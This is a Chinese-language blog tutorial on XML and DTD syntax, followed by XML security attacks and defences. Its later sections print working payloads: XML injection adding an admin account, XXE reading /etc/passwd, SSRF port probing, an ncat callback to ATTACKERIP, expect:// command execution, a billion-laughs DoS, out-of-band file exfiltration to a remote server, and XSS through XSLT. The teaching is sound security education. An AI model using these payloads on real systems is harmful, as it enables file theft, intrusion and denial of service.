about XML

Fc04dB Lv3

# XML

XML 指可扩展标记语言(EXtensible Markup Language)。
XML 的设计宗旨是传输数据,而不是显示数据。
XML 是 W3C 的推荐标准。
XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息
XML 语言没有预定义的标签。

XML 和 HTML 之间的差异:

1、XML 不是 HTML 的替代。
2、XML 和 HTML 为不同的目的而设计:

XML 被设计用来传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。

# 基本格式、语法

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明 XML 文档的版本和编码,是可选的,必须放在文档开头。
standalone 值是 yes 的时候表示 DTD 仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是 no,而且有些 parser 会直接忽略这一项。

基本语法:

  • 所有 XML 元素都须有关闭标签。
  • XML 标签对大小写敏感。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。

# DTD

DTD 基本概念
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD 用来为 XML 文档定义语义约束。可以嵌入在 XML 文档中 (内部声明),也可以独立的放在另外一个单独的文件中 (外部引用)。是 XML 文档中的几条语句,用来说明哪些元素 / 属性是合法的以及元素间应当怎样嵌套 / 结合,也用来将一些特殊字符和可复用代码段自定义为实体。
实体引用
XML 元素以形如 <tag>foo</tag> 的标签开始和结束,如果元素内部出现如 < 的特殊字符,解析就会失败,为了避免这种情况,XML 用实体引用(entity reference)替换特殊字符。XML 预定义五个实体引用,即用 &lt;&gt;&amp;&apos;&quot 替换 < > & ' "

image-20240529162528891

实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD ,文档类型定义)的过程中进行。
dtd 的引入方式
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
内部 DTD
使用内部的 dtd 文件,即将约束规则定义在 xml 文档中

1
<!DOCTYPE 根元素名称 [元素声明]>

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

外部 DTD
(1)引入外部的 dtd 文件

1
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

(2)使用外部的 dtd 文件 (网络上的 dtd 文件)

1
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

当使用外部 DTD 时,通过如下语法引入:

1
<!DOCTYPE root-element SYSTEM "filename">

示例代码:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

test.dtd

1
2
3
4
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->

PCDATA
PCDATA 的意思是被解析的字符数据。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。
CDATA
CDATA 意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

元素

1
2
3
<!ELEMENT element-name category>

<!ELEMENT element-name (element-content)>

例如:

1
<!ELEMENT 家庭(人+,家电*)>

这个 DTD 规定了家庭元素中可以有 1 到多个” 人” 这个子元素,也可以有 0 到多个” 家电” 这个子元素。其中的加号”+” 和星号”*” 的含义与正则表达式中的含义一致。

image-20240529163707592

类似于正则表达式

属性

属性声明语法

1
<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD 实例:

1
<!ATTLIST payment Luckey CDATA "Q">

XML 实例:

1
<payment Luckey="Q" />

image-20240529163855082

默认属性值可使用下列值 :

image-20240529163957712

默认属性值

1
2
3
4
5
6
DTD:
<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">

合法的 XML:
<square width="100" />

在上面的例子中,“square” 被定义为带有 CDATA 类型的 “width” 属性的空元素。如果宽度没有被设定,其默认值为 0

# XML 注入

XML 是一种数据组织存储的数据结构方式,安全的 XML 在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变 XML 标签也就是说改变 XML 结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致 XML 注入攻击。

注入实例:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>

</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>

XML 与 HTML 一样,也存在注入攻击,在注入的方法上也非常相似。
对于上面的 xml 文件,如果攻击者能够掌控 password 字段,那么就会产生 XML 注入。如攻击者输入:

1
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>

最终修改结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<name>admin</name>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>

这样就通过 XML 注入添加了一个名为 hack、密码为:hacker 的管理员账户。
XML 注入两大要素:标签闭合和获取 XML 表结构

# XPath 注入

XPath 是一门在 XML 文档中查找信息的语言。XPath 用于在 XML 文档中,通过元素和属性进行导航。类似 jquery 选择器的选择路径。

XPath 注入攻击是指利用 XPath 解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的 XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath 注入攻击是针对 Web 服务应用新的攻击方法,它允许攻击者在事先不知道 XPath 查询相关知识的情况下,通过 XPath 查询得到一个 XML 文档的完整内容。

XPath 注入发生在当站点使用用户输入的信息来构造请求以获取 XML 数据。攻击者对站点发送经过特殊构造的信息来探究站点使用的 XML 是如何构造的,从而进一步获取正常途径下无法获取的数据。当 XML 数据被用作账户验证时,攻击者还可以提升他的权限。

XPath 注入攻击利用两种技术,即 XPath 扫描XPath 查询布尔化。通过该攻击,攻击者可以控制用来进行 XPath 查询的 XML 数据库。这种攻击可以有效地对付使用 XPath 查询(和 XML 数据库) 来执行身份验证、查找或者其它操作。

XPath 注入攻击同 SQL 注入攻击类似,但与 SQL 注入相比,XPath 具有的优势:

  1. 广泛性
    只要是利用 XPath 语法的 Web 应用程序若未对输入的 XPath 查询做严格的处理都会存在 XPath 注入漏洞。而在 SQL 注入攻击过程中根据数据库支持的 SQL 语言不同,注入攻击的实现可能不同。
  2. 危害性大
    XPath 语言几乎可以没有访问控制限制的引用 XML 文档的所有部分。而在 SQL 注入中,一个 “ 用户 ” 的权限可能被限制到 某一特定的表、列或者查询。
    XPath 注入攻击可以保证得到完整的 XML 文档,即完整的数据库。只要 Web 服务应用具有基本的安全漏洞,即可构造针对 XPath 应用的自动攻击。

xpath 注入详解

# XXE

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,由于程序在解析输入的 XML 数据时,解析了攻击者伪造的外部实体而产生的。例如 PHP 中的 simplexml_load 默认情况下会解析外部实体,有 XXE 漏洞的标志性函数为 simplexml_load_string() ,它允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

XXE 的特征

特征 1 — .ashx ,url 是,ashx 后缀

特征 2 — 响应体是 xml

XXE 的检测

首先检测 XML 是否会被成功解析

1
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>

看相应包或页面是否有 Hellp XXE

接下来检测该端点是否支持 DTD 引用外部实体:

1
<?xml version=”1.0” encoding=”UTF-8”?><!DOCTYPE ANY [<!ENTITY % name SYSTEM "http://localhost/tp5/test.xml">%name;]>

# 文件读取

1
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>

前提是需要有回显

# SSRF 与 XXE

XXE 可以与 SSRF(服务端请求伪造) 漏洞一起用于探测其它内网主机的信息,基于 http 协议。

1
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]><foo>&xxe;</foo>

当然也可以用来探测端口信息,根据响应包的信息,若非 “connection refused” 则表示该端口可能是开放的。

除了以上的利用,控制服务器对外网发送请求也是有可能成功的。此处可使用 ncat 工具进行测试。

用 ncat 在自己的服务器上开启监听:ncat -lvkp 8081 (端口可自定义)

之后便可使用以下语句尝试是否能够建立连接:

1
<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [  <!ELEMENT data (#PCDATA)>  ]><data>4</data>

如果能够建立连接,那么服务器端的 netcat 会收到相应的请求信息。

# RCE

在安装 expect 扩展的 PHP 环境里执行系统命令,当然其他协议也有可能可以执行系统命令

1
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]><root><name>&xxe;</name></root>

# 拒绝服务攻击 (Dos)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

原理:递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用 lol9。

# 探测内网端口

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]> # 修改payload即可探测对应端口
<root>
<name>&xxe;</name>
</root>

# Blind XXE

Blind XXE,字面意思也就是提交 xml 的服务器端点不再返回有效的数据,此时我们前面的一些利用方法就要失效了

# XXE OOB (外带数据通道)

概念
带外数据 (out—of—band data),有时也称为加速数据 (expedited data),
是指连接双方中的一方发生重要事情,想要迅速地通知对方。这种通知在已经排队等待发送的任何 “普通”(有时称为 “带内”) 数据之前发送。带外数据设计为比普通数据有更高的优先级。带外数据是映射到现有的连接中的,而不是在客户机和服务器间再用一个连接。

利用
带外数据通道的建立是使用嵌套形式,利用外部实体中的 URL 发出访问,从而跟攻击者的服务器发生联系。但有些情况下不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误

1
<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % file SYSTEM "file:///C:/1.txt"><!ENTITY % remote SYSTEM "http://remotevps/evil.xml">%remote;%all;]><root>&send;</root>

evil.xml:

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://remotevps/1.php?file=%file;'>">

实体 remote,all,send 的引用顺序很重要,首先对 remote 引用目的是将外部文件 evil.xml 引入到解释上下文中,然后执行 % all,这时会检测到 send 实体,在 root 节点中引用 send,就可以成功实现数据转发。当请求发送以后,攻击者的服务器上就能查看到 1.txt 中的内容。

# XXE 漏洞防御

1、使用开发语言提供的禁用外部实体的方法
php:

1
libxml_disable_entity_loader(true);

java:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2、过滤用户提交的 XML 数据
过滤关键字: <\!DOCTYPE<\!ENTITY ,或者 SYSTEMPUBLIC
3、不允许 XML 中含有自己定义的 DTD

# 不止 XXE

# XSLT

XSLT 全称为 Extensible Stylesheet Language Transformations,主要用于编写样式表将 XML 转换为其他格式的文档,如 XHTML、JSON、文本等。XSLT 也是基于 XML 的,但具备强大的灵活性和扩展性。不仅可以用于文档转换,还常被用于数据清洗、报告生成以及数据的提取和重组等任务。

XSLT 单独保存为文件时可以是 .xsl 或者 .xslt 后缀。以我们之前的 note XML 为例,以下 note.xsl 将其转换为 XHTML 文档:

1
2
3
4
5
6
7
8
9
10
11
12
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h1>Note</h1>
<p>To: <xsl:value-of select="note/to"/></p>
<p>From: <xsl:value-of select="note/from"/></p>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

# XSS

XSLT 可以为 XML 提供样式转换,而且这个转换是浏览器也支持的。既然可以将 XML 转换成 HTML 来渲染,那么是否支持 HTML 中的一些特性呢,比如执行 JavaScript 脚本?答案是肯定的。

我们稍微修改一下前文中的样式表,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<head>
<script> alert(/xss/) </script>
</head>
<body>
<h1>Note</h1>
<p>To: <xsl:value-of select="note/to"/></p>
<p>From: <xsl:value-of select="note/from"/></p>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

除了间接引用 XSLT,在 XML 文档本身中,也可以通过命名空间指定 XHTML 来执行 JavaScript 代码,示例 xss.xml 如下:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>   
<note>
<to>Alice</to>
<from>Bob</from>
<xh:scriptxmlns:xh="http://www.w3.org/1999/xhtml">alert(/xss/)</xh:script>
</note>

因为如果在 XML 中使用 <script> 标签会被认为是一个普通元素而不会将其子元素当成 JavaScript 执行。

  • Title: about XML
  • Author: Fc04dB
  • Created at : 2024-05-29 12:24:33
  • Updated at : 2024-07-04 23:15:36
  • Link: https://redefine.ohevan.com/2024/05/29/about-XML/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments